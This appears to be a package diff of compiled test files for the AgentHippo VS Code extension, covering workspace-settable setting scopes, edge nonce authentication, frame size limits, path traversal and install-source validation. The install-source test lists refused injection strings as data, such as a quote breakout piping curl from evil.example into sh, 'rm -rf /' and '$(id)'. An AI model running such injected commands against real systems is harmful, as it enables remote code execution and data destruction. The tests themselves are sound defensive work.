@agenthippo-ai/agenthippo 0.2.3-dataplane → 1.110.9

package/out/test/configuration-scopes.test.js

@@ -0,0 +1,131 @@
+"use strict";
+/*---------------------------------------------------------------------------------------------
+ *  Copyright (c) AgentHippo.ai. All rights reserved.
+ *
+ *  A VS Code setting with no `scope` defaults to `window`, which means a repository's
+ *  `.vscode/settings.json` can set it. For a setting that names an auth endpoint, an install
+ *  source, a credential or a spawned command, that is remote code execution or credential theft
+ *  by checkout. This test is the regression guard: adding a sensitive setting without a scope
+ *  fails here.
+ *--------------------------------------------------------------------------------------------*/
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+require("mocha");
+const assert = __importStar(require("assert"));
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
+function loadPackageJson() {
+    // out/test/<file>.js → out → extensions/agentide
+    const pkgPath = path.join(__dirname, '..', '..', 'package.json');
+    return JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
+}
+/**
+ * Settings a workspace must never be able to set. Each entry says WHY, because the reason is the
+ * thing a future reviewer needs in order to decide whether a new setting belongs on this list.
+ */
+const MUST_NOT_BE_WORKSPACE_SETTABLE = {
+    'agentide.auth.baseUrl': 'receives the PKCE code and the AgentHippo access token',
+    'agentide.storeRepo': 'names where packs/skills/engines are installed from',
+    'agentide.store.indexUrl': 'names where the install index is fetched from',
+    'agentide.anywhere.installSource': 'names a globally installed package whose postinstall runs',
+    'agentide.anywhere.enabled': 'enables a gateway process',
+    'agentide.anywhere.autoStart': 'starts a gateway process',
+    'agentide.anywhere.autoConnect': 'connects a gateway process',
+    'agentide.anywhere.port': 'selects the local gateway port',
+    'agentide.anywhere.hidden': 'an enterprise admin control',
+    'agentide.cli.path': 'an executable path',
+    'agentide.cli.installSource': 'a download-and-execute source',
+    'agentide.additionalEngineDir': 'a directory scanned for engines that are then executed',
+    'agentide.fallbackDirectory': 'a filesystem location used as the working root',
+    'agentide.permissions.fileAccess': 'the agent filesystem permission policy',
+    'agentide.gateway.url': 'a network destination carrying agent traffic',
+    'agentide.gateway.token': 'a credential',
+    'agentide.gateway.autoConnect': 'connects to a gateway at startup',
+    'agentide.gateway.autoRegister': 'registers packs with a gateway',
+    'agentide.providers.litellm.baseUrl': 'receives every prompt and the routing API key',
+    'agentide.providers.anthropic.baseUrl': 'receives every prompt and the Anthropic key',
+    'agentide.AgentHippoModelGateway.url': 'receives every prompt and the sign-in JWT',
+    'agentide.skills.remote.enabled': 'enables fetching agent instructions from a registry',
+    'agentide.skills.remote.registryUrl': 'names an install source for agent instructions',
+    'agentide.skills.remote.syncOnStartup': 'triggers that fetch automatically',
+    'agentide.skills.remote.allowOverwriteLocal': 'lets fetched content replace local files',
+    'agentide.analytics.fleetScriptSources': 'every entry is a command line this extension spawns',
+    'agentide.analytics.fleetSources': 'selects which of those command lines run',
+    'agentide.analytics.defaultDashboardPrompt': 'a prompt fed to an agent that writes and runs scripts',
+    'agentide.analytics.duckdb.tempDirectory': 'a filesystem path written to by the extension',
+};
+const SAFE_SCOPES = new Set(['application', 'machine']);
+suite('configuration scopes', () => {
+    const pkg = loadPackageJson();
+    const properties = pkg.contributes.configuration.properties;
+    test('every security-sensitive setting is declared and application/machine scoped', () => {
+        const failures = [];
+        for (const [key, why] of Object.entries(MUST_NOT_BE_WORKSPACE_SETTABLE)) {
+            const prop = properties[key];
+            if (!prop) {
+                failures.push(`${key}: not declared in contributes.configuration (undeclared settings are workspace-settable) — ${why}`);
+                continue;
+            }
+            const scope = prop.scope ?? 'window';
+            if (!SAFE_SCOPES.has(scope)) {
+                failures.push(`${key}: scope "${scope}" lets a repository set it — ${why}`);
+            }
+        }
+        assert.deepStrictEqual(failures, [], `\n${failures.join('\n')}\n`);
+    });
+    test('the attack from the audit is closed: agentide.auth.baseUrl is application-scoped', () => {
+        assert.strictEqual(properties['agentide.auth.baseUrl'].scope, 'application');
+    });
+    test('the pinned gateway install default is preserved', () => {
+        const prop = properties['agentide.anywhere.installSource'];
+        assert.strictEqual(prop.default, '@agenthippo-ai/hippoclaw@2026.7.28', 'the deliberate version pin (and its rationale) must not be replaced by a floating tag');
+    });
+    test('the extension declares limited untrusted-workspace support', () => {
+        const caps = pkg.capabilities?.untrustedWorkspaces;
+        assert.ok(caps, 'capabilities.untrustedWorkspaces is declared');
+        assert.strictEqual(caps.supported, 'limited');
+        assert.ok((caps.description ?? '').length > 40, 'the description explains what is limited');
+    });
+    test('every sensitive setting is also listed as a restricted configuration', () => {
+        const restricted = new Set(pkg.capabilities?.untrustedWorkspaces?.restrictedConfigurations ?? []);
+        const missing = Object.keys(MUST_NOT_BE_WORKSPACE_SETTABLE).filter((k) => !restricted.has(k));
+        assert.deepStrictEqual(missing, [], `not listed in restrictedConfigurations: ${missing.join(', ')}`);
+    });
+    test('restrictedConfigurations names only settings that exist', () => {
+        const unknown = (pkg.capabilities?.untrustedWorkspaces?.restrictedConfigurations ?? [])
+            .filter((k) => !properties[k]);
+        assert.deepStrictEqual(unknown, [], `restrictedConfigurations references undeclared settings: ${unknown.join(', ')}`);
+    });
+});

package/out/test/data-plane.test.js

@@ -242,3 +242,70 @@ suite('data-plane: TurnRegistry unit properties', () => {
         assert.strictEqual(reg.size, 1, 'the expired entry must have been pruned');
     });
 });
+suite('data-plane: sidecar EDGE registration (P1 fix — no forging authority in the agent container)', function () {
+    this.timeout(30_000);
+    const EDGE_TOKEN = 'edge-only-secret';
+    let sidecar;
+    let controlBase;
+    suiteSetup(async () => {
+        fs.mkdirSync(FIXTURE_DIR, { recursive: true });
+        fs.writeFileSync(CONNECTOR_PATH, CONNECTOR_SOURCE, 'utf8');
+        sidecar = await (0, data_plane_1.startDataPlaneSidecar)({
+            config: { connectorPath: CONNECTOR_PATH, provider: 'identity' },
+            registerToken: EDGE_TOKEN,
+            gatewayPort: 0,
+            controlPort: 0,
+            bindHost: '127.0.0.1',
+        });
+        controlBase = `http://127.0.0.1:${sidecar.controlPort}`;
+    });
+    suiteTeardown(async () => {
+        await sidecar?.close();
+        fs.rmSync(FIXTURE_DIR, { recursive: true, force: true });
+    });
+    async function edgeRegister(user, token = EDGE_TOKEN) {
+        // Shaped like Caddy forward_auth: GET, no body, verified identity in X-Agent-User.
+        return fetch(`${controlBase}/edge/turn`, {
+            headers: { Authorization: `Bearer ${token}`, 'X-Agent-User': user },
+        });
+    }
+    test('the edge mints a nonce for the verified user; the nonce works at the gateway as that user', async () => {
+        const res = await edgeRegister('alice@corp.com');
+        assert.strictEqual(res.status, 200);
+        const nonce = res.headers.get(data_plane_1.TURN_NONCE_HEADER);
+        assert.ok(nonce, 'nonce must ride the response header for Caddy copy_headers');
+        const who = await callWhoami(sidecar.gatewayUrl, nonce);
+        assert.strictEqual(who.userId, 'alice@corp.com');
+    });
+    test('edge registration without the edge token → 401 (the engine can route here but cannot forge)', async () => {
+        const res = await edgeRegister('victim@corp.com', 'stolen-or-missing');
+        assert.strictEqual(res.status, 401);
+    });
+    test('edge registration without a verified identity header → 400, fail closed', async () => {
+        const res = await fetch(`${controlBase}/edge/turn`, { headers: { Authorization: `Bearer ${EDGE_TOKEN}` } });
+        assert.strictEqual(res.status, 400);
+    });
+    test('serve releases an adopted turn via the gateway using ONLY the nonce; the nonce then fails closed', async () => {
+        const res = await edgeRegister('bob@corp.com');
+        const nonce = res.headers.get(data_plane_1.TURN_NONCE_HEADER);
+        const edge = new data_plane_1.EdgeDataPlane({ gatewayUrl: sidecar.gatewayUrl });
+        const turn = edge.adoptTurn(nonce);
+        assert.strictEqual(turn.env.AGENTHIPPO_TURN_NONCE, nonce);
+        assert.strictEqual(turn.env.AGENTHIPPO_DATA_MCP_URL, sidecar.gatewayUrl);
+        const who = await callWhoami(sidecar.gatewayUrl, nonce);
+        assert.strictEqual(who.userId, 'bob@corp.com');
+        await turn.release();
+        await assert.rejects(() => callWhoami(sidecar.gatewayUrl, nonce), /401|Unauthorized/i);
+    });
+    test('release with a bogus nonce is a harmless no-op (204) and touches no other turn', async () => {
+        const res = await edgeRegister('carol@corp.com');
+        const nonce = res.headers.get(data_plane_1.TURN_NONCE_HEADER);
+        const del = await fetch(new URL('/turn', sidecar.gatewayUrl), {
+            method: 'DELETE',
+            headers: { Authorization: 'Bearer not-a-real-nonce' },
+        });
+        assert.strictEqual(del.status, 204);
+        const who = await callWhoami(sidecar.gatewayUrl, nonce);
+        assert.strictEqual(who.userId, 'carol@corp.com', 'an unrelated release must not end a live turn');
+    });
+});

package/out/test/deploy-init.test.js

@@ -676,6 +676,46 @@ suite('deploy-init: renderTarget produces well-formed artifacts', () => {
             assert.ok(files['Dockerfile'].includes('--www-dir'), 'serve enables static chat UI after SSO');
         });
     }
+    test('colocate + edgeTurnConnector emits the P1 edge turn-registration block (obo-inprogress §2)', () => {
+        const ctx = {
+            ...CTX, ingress: 'edge-fed', idpUrl: 'https://auth.corp.example', colocate: true,
+            edgeTurnConnector: 'databricks-analyst-connector:9091',
+        };
+        const snippet = (0, deploy_init_1.renderTarget)('vm', ctx)['agent-route.caddy'];
+        // Hygiene: a client-supplied nonce header must never pass through.
+        assert.ok(snippet.includes('request_header -X-Agent-Turn-Nonce'), 'inbound X-Agent-Turn-Nonce is stripped at the edge');
+        // Only POST chat turns register.
+        assert.ok(snippet.includes('@turnStart'), 'chat-turn matcher present');
+        assert.ok(/@turnStart\s*\{\s*\n\s*method POST\s*\n\s*path \/v1\/chat \/v1\/chat\/stream/m.test(snippet), '@turnStart matches POST /v1/chat and /v1/chat/stream only');
+        // The registration hop itself: forward_auth to the connector control API, nonce copied
+        // onto the proxied request, register token from the EDGE stack env (never the agent).
+        assert.ok(snippet.includes('forward_auth @turnStart databricks-analyst-connector:9091'), 'turn registration targets the connector control API');
+        assert.ok(snippet.includes('uri /edge/turn'), 'registration path is /edge/turn');
+        assert.ok(snippet.includes('copy_headers X-Agent-Turn-Nonce'), 'minted nonce copied onto the request');
+        assert.ok(snippet.includes('header_up Authorization "Bearer {$DATABRICKS_ANALYST_DATA_PLANE_TOKEN}"'), 'register token comes from the derived edge-stack env var');
+        // Ordering (the Caddy footgun the hand-built overlay documents): two forward_auth in one
+        // handle do NOT run in source order unless wrapped in route {} — identity must run first
+        // so X-Agent-User exists when the sidecar mints the nonce.
+        assert.ok(snippet.includes('route {'), 'gated sequence wrapped in route {} to force source order');
+        const apiBlock = snippet.slice(snippet.indexOf('handle @apiWithAuth'));
+        const identityIdx = apiBlock.indexOf('forward_auth auth-broker:9780');
+        const turnIdx = apiBlock.indexOf('forward_auth @turnStart');
+        const proxyIdx = apiBlock.indexOf('reverse_proxy databricks-analyst-agent:8080');
+        assert.ok(identityIdx >= 0 && turnIdx > identityIdx && proxyIdx > turnIdx, 'order inside route {}: identity → turn registration → proxy');
+        // Both gated paths carry the hop: Bearer API clients AND cookie-auth browser clients.
+        assert.strictEqual(snippet.split('uri /edge/turn').length - 1, 2, 'turn registration on both the @apiWithAuth and browser catch-all paths');
+        // The operator README says where the token goes (IdP stack env, never the agent).
+        const readme = (0, deploy_init_1.renderTarget)('vm', ctx)['README.md'];
+        assert.ok(readme.includes('DATABRICKS_ANALYST_DATA_PLANE_TOKEN'), 'README documents the edge-stack register token env var');
+    });
+    test('without edgeTurnConnector the route snippet is unchanged — no /edge/turn, no route {}', () => {
+        const ctx = {
+            ...CTX, ingress: 'edge-fed', idpUrl: 'https://auth.corp.example', colocate: true,
+        };
+        const snippet = (0, deploy_init_1.renderTarget)('vm', ctx)['agent-route.caddy'];
+        assert.ok(!snippet.includes('/edge/turn') && !snippet.includes('@turnStart')
+            && !snippet.includes('X-Agent-Turn-Nonce') && !snippet.includes('route {'), 'turn registration is strictly opt-in; default output must not change');
+    });
     test('--colocate is a no-op without --ingress edge-fed (still ships the normal self-issued edge)', () => {
         const files = (0, deploy_init_1.renderTarget)('vm', { ...CTX, colocate: true });
         assert.ok(files['Caddyfile'], 'no ingress edge-fed → colocate does not apply, normal vm artifacts render');

package/out/test/gateway-client.test.js

@@ -328,6 +328,34 @@ suite('GatewayClient - events', () => {
         const receivedParams = receivedFrame.params;
         assert.strictEqual(receivedParams.message, 'Hello from WhatsApp');
     });
+    test('drops frames larger than the cap instead of parsing them', async () => {
+        const client = new client_js_1.GatewayClient({ url: 'ws://localhost:18789' });
+        const clientInfo = createClientInfo();
+        const connectPromise = client.connect(clientInfo);
+        await new Promise((resolve) => setTimeout(resolve, 10));
+        const connectFrame = JSON.parse(mockWs.sentMessages[0]);
+        simulateHelloOk(connectFrame.id);
+        await connectPromise;
+        let receivedFrame;
+        let errorMessage = '';
+        client.on('request', (frame) => {
+            receivedFrame = frame;
+        });
+        client.on('error', (err) => {
+            errorMessage = err.message;
+        });
+        mockWs.simulateMessage({
+            type: 'req',
+            id: 'server-req-huge',
+            method: 'agent.run',
+            params: {
+                message: 'x'.repeat(client_js_1.MAX_GATEWAY_FRAME_BYTES + 1),
+                idempotencyKey: 'idem-huge',
+            },
+        });
+        assert.strictEqual(receivedFrame, undefined, 'Oversized frame must not be dispatched');
+        assert.ok(errorMessage.includes('exceeds'), `Expected a size error, got: ${errorMessage}`);
+    });
     test('emits event:name for Gateway events', async () => {
         const client = new client_js_1.GatewayClient({ url: 'ws://localhost:18789' });
         const clientInfo = createClientInfo();

package/out/test/gateway-install-source.test.js

@@ -0,0 +1,111 @@
+"use strict";
+/*---------------------------------------------------------------------------------------------
+ *  Copyright (c) AgentHippo.ai. All rights reserved.
+ *
+ *  `agentide.anywhere.installSource` names a package that is installed globally and whose
+ *  postinstall runs as the user. The old guard was a character BLOCKLIST that did not include the
+ *  double quote, while the value was interpolated into `--source "${installSource}"`.
+ *--------------------------------------------------------------------------------------------*/
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+require("mocha");
+const assert = __importStar(require("assert"));
+// Imported from `gateway/installSource` rather than `gateway/lifecycle`: the rule was moved into
+// its own `vscode`-free module precisely so it can be exercised without the extension host.
+const installSource_1 = require("../gateway/installSource");
+function ok(source) {
+    return (0, installSource_1.validateAnywhereInstallSource)(source).ok;
+}
+suite('anywhere install source allow-list', () => {
+    test('accepts the shipped default, unchanged', () => {
+        // The pinned default carries a written rationale for refusing @latest; it must keep working.
+        assert.ok(ok('@agenthippo-ai/hippoclaw@2026.7.28'));
+    });
+    test('accepts the documented override forms', () => {
+        assert.ok(ok('@agenthippo-ai/hippoclaw@latest'));
+        assert.ok(ok('openclaw@latest'));
+        assert.ok(ok('openclaw'));
+        assert.ok(ok('openclaw@^1.2.3'));
+        assert.ok(ok('github:agenthippoai/hippoclaw'));
+        assert.ok(ok('github:agenthippoai/hippoclaw#main'));
+        assert.ok(ok('/Users/me/dev/hippoclaw'));
+        assert.ok(ok('./hippoclaw'));
+        assert.ok(ok('C:\\dev\\hippoclaw'));
+        assert.ok(ok('https://registry.example.com/hippoclaw-1.0.0.tgz'));
+    });
+    test('the double quote — the character the old blocklist missed — is refused', () => {
+        // `--source "a" ; curl evil | sh ; "` was the whole exploit.
+        assert.ok(!ok('a" ; curl https://evil.example/x | sh ; "'));
+        assert.ok(!ok('pkg"'));
+    });
+    test('classic shell metacharacters are refused', () => {
+        for (const bad of [
+            'pkg; rm -rf /',
+            'pkg && curl evil',
+            'pkg | sh',
+            'pkg `id`',
+            'pkg $(id)',
+            'pkg\nrm -rf /',
+            'pkg\rwhoami',
+            "pkg' ; id ; '",
+            'pkg>out',
+            'pkg<in',
+        ]) {
+            assert.ok(!ok(bad), `expected refusal for ${JSON.stringify(bad)}`);
+        }
+    });
+    test('an http (not https) tarball URL is refused', () => {
+        assert.ok(!ok('http://registry.example.com/x.tgz'));
+    });
+    test('an https URL that is not a tarball is refused', () => {
+        assert.ok(!ok('https://evil.example/install.sh'));
+    });
+    test('empty and whitespace-padded values are refused', () => {
+        assert.ok(!ok(''));
+        assert.ok(!ok('   '));
+        assert.ok(!ok(' openclaw'));
+        assert.ok(!ok('openclaw '));
+        assert.ok(!ok('openclaw --foo'));
+    });
+    test('every refusal names the accepted forms', () => {
+        for (const bad of ['pkg; id', '', 'openclaw ', 'https://evil.example/install.sh']) {
+            const result = (0, installSource_1.validateAnywhereInstallSource)(bad);
+            assert.strictEqual(result.ok, false, bad);
+            if (!result.ok) {
+                assert.ok(result.reason.includes('npm specifier'), `the message for ${JSON.stringify(bad)} must tell the user what IS accepted`);
+            }
+        }
+    });
+});

package/out/test/gateway-lifecycle.test.js

@@ -80,7 +80,7 @@ function resetHarnessState() {
     configValues.clear();
     configValues.set("hidden", false);
     configValues.set("enabled", false);
-    configValues.set("installSource", "github:agenthippoai/hippoclaw");
+    configValues.set("installSource", "@agenthippo-ai/hippoclaw@latest");
     configValues.set("port", 18789);
     configValues.set("autoStart", false);
     informationHandler = undefined;

package/out/test/gateway-outbound.test.js

@@ -63,6 +63,13 @@ suite('Gateway outbound paths', () => {
     test('safeGatewaySessionDirId sanitizes gateway session keys', () => {
         assert.strictEqual((0, outboundPaths_js_1.safeGatewaySessionDirId)('agent:data-analyst:slack:channel:C999'), 'agent_data-analyst_slack_channel_C999');
     });
+    test('safeGatewaySessionDirId rejects dot-only keys (path traversal)', () => {
+        assert.strictEqual((0, outboundPaths_js_1.safeGatewaySessionDirId)('.'), '_');
+        assert.strictEqual((0, outboundPaths_js_1.safeGatewaySessionDirId)('..'), '__');
+        // Slash-separated traversal collapses via the char class, never into dot segments.
+        assert.strictEqual((0, outboundPaths_js_1.safeGatewaySessionDirId)('../../etc'), '.._.._etc');
+        assert.strictEqual((0, outboundPaths_js_1.getGatewayOutboundFilePath)('/tmp/ws', (0, outboundPaths_js_1.safeGatewaySessionDirId)('..')), '/tmp/ws/.agent-hippo/sessions/__/gateway-outbound.json');
+    });
     test('resolveGatewayOutboundFilePath prefers chat session id', () => {
         const file = (0, outboundPaths_js_1.resolveGatewayOutboundFilePath)({
             workspaceRoot: '/tmp/ws',

package/out/test/gateway-secrets-preflight.test.js

@@ -0,0 +1,127 @@
+"use strict";
+/*---------------------------------------------------------------------------------------------
+ *  Copyright (c) AgentHippo.ai. All rights reserved.
+ *--------------------------------------------------------------------------------------------*/
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+const assert = __importStar(require("assert"));
+const secretsPreflight_js_1 = require("../gateway/secretsPreflight.js");
+function slackConfig(enabled = true) {
+    return {
+        channels: {
+            slack: {
+                ...(enabled === undefined ? {} : { enabled }),
+                botToken: { source: 'env', provider: 'default', id: 'SLACK_BOT_TOKEN' },
+                appToken: { source: 'env', provider: 'default', id: 'SLACK_APP_TOKEN' },
+            },
+            telegram: {
+                enabled: true,
+                botToken: '1234:literal-token',
+            },
+        },
+    };
+}
+suite('Gateway secrets preflight', () => {
+    test('reports enabled channel env refs missing from env', () => {
+        const missing = (0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(slackConfig(), {});
+        assert.deepStrictEqual(missing, [
+            { channel: 'slack', envVars: ['SLACK_APP_TOKEN', 'SLACK_BOT_TOKEN'] },
+        ]);
+    });
+    test('resolved and whitespace-only env values', () => {
+        const env = { SLACK_BOT_TOKEN: 'xoxb-1', SLACK_APP_TOKEN: '   ' };
+        const missing = (0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(slackConfig(), env);
+        assert.deepStrictEqual(missing, [{ channel: 'slack', envVars: ['SLACK_APP_TOKEN'] }]);
+    });
+    test('skips channels with enabled: false', () => {
+        assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(slackConfig(false), {}), []);
+    });
+    test('channel without explicit enabled counts as enabled', () => {
+        const missing = (0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(slackConfig(undefined), {});
+        assert.strictEqual(missing.length, 1);
+        assert.strictEqual(missing[0].channel, 'slack');
+    });
+    test('literal token strings and non-env sources are not refs', () => {
+        const config = {
+            channels: {
+                custom: {
+                    enabled: true,
+                    token: 'literal',
+                    other: { source: 'keychain', id: 'IGNORED_KEY' },
+                },
+            },
+        };
+        assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(config, {}), []);
+    });
+    test('finds refs nested in arrays and deep objects', () => {
+        const config = {
+            channels: {
+                custom: {
+                    enabled: true,
+                    accounts: [{ auth: { token: { source: 'env', id: 'DEEP_TOKEN' } } }],
+                },
+            },
+        };
+        assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(config, {}), [
+            { channel: 'custom', envVars: ['DEEP_TOKEN'] },
+        ]);
+    });
+    test('non-object configs and configs without channels yield nothing', () => {
+        assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(undefined, {}), []);
+        assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)('nope', {}), []);
+        assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)({ agents: {} }, {}), []);
+    });
+    test('parseStrictJsonConfig rejects JSON5 comments', () => {
+        assert.strictEqual((0, secretsPreflight_js_1.parseStrictJsonConfig)('{ /* hi */ "a": 1 }'), undefined);
+        assert.deepStrictEqual((0, secretsPreflight_js_1.parseStrictJsonConfig)('{ "a": 1 }'), { a: 1 });
+    });
+    test('disableChannelsInConfigText disables only the named channels', () => {
+        const content = JSON.stringify(slackConfig(), null, 2);
+        const updated = (0, secretsPreflight_js_1.disableChannelsInConfigText)(content, ['slack']);
+        assert.ok(updated);
+        const parsed = JSON.parse(updated);
+        assert.strictEqual(parsed.channels.slack.enabled, false);
+        assert.strictEqual(parsed.channels.telegram.enabled, true);
+        // Secret refs stay in place so re-enabling is a one-flag change.
+        assert.deepStrictEqual(parsed.channels.slack.botToken, {
+            source: 'env',
+            provider: 'default',
+            id: 'SLACK_BOT_TOKEN',
+        });
+    });
+    test('disableChannelsInConfigText refuses non-strict-JSON content', () => {
+        assert.strictEqual((0, secretsPreflight_js_1.disableChannelsInConfigText)('{ /* comment */ "channels": {} }', ['slack']), undefined);
+    });
+});

package/out/test/gateway-session-routing.test.js

@@ -38,6 +38,24 @@ var __importStar = (this && this.__importStar) || (function () {
 Object.defineProperty(exports, "__esModule", { value: true });
 const assert = __importStar(require("assert"));
 const bridge_js_1 = require("../gateway/bridge.js");
+suite('Gateway agent.run validation', () => {
+    test('accepts a well-formed run and ignores absent fields', () => {
+        assert.strictEqual((0, bridge_js_1.findOversizedRunField)({ message: 'hi' }), undefined);
+        assert.strictEqual((0, bridge_js_1.findOversizedRunField)({
+            message: 'hi',
+            sessionKey: 'agent:data-analyst:slack:dm:u01',
+            senderId: 'U01',
+            threadId: undefined,
+        }), undefined);
+    });
+    test('names the first identifier that is over-long or not a string', () => {
+        assert.strictEqual((0, bridge_js_1.findOversizedRunField)({ sessionKey: 'x'.repeat(bridge_js_1.MAX_GATEWAY_ID_CHARS + 1) }), 'sessionKey');
+        assert.strictEqual((0, bridge_js_1.findOversizedRunField)({ channel: { evil: true } }), 'channel');
+        assert.strictEqual((0, bridge_js_1.findOversizedRunField)({ senderId: 12345 }), 'senderId');
+        // At the limit exactly is still acceptable.
+        assert.strictEqual((0, bridge_js_1.findOversizedRunField)({ target: 'x'.repeat(bridge_js_1.MAX_GATEWAY_ID_CHARS) }), undefined);
+    });
+});
 suite('Gateway session routing', () => {
     test('looksLikeGatewayChannelRouteKey detects Slack channel keys', () => {
         assert.strictEqual((0, bridge_js_1.looksLikeGatewayChannelRouteKey)('agent:ide-ws-data-analyst:slack:channel:c0b1smmjcq0'), true);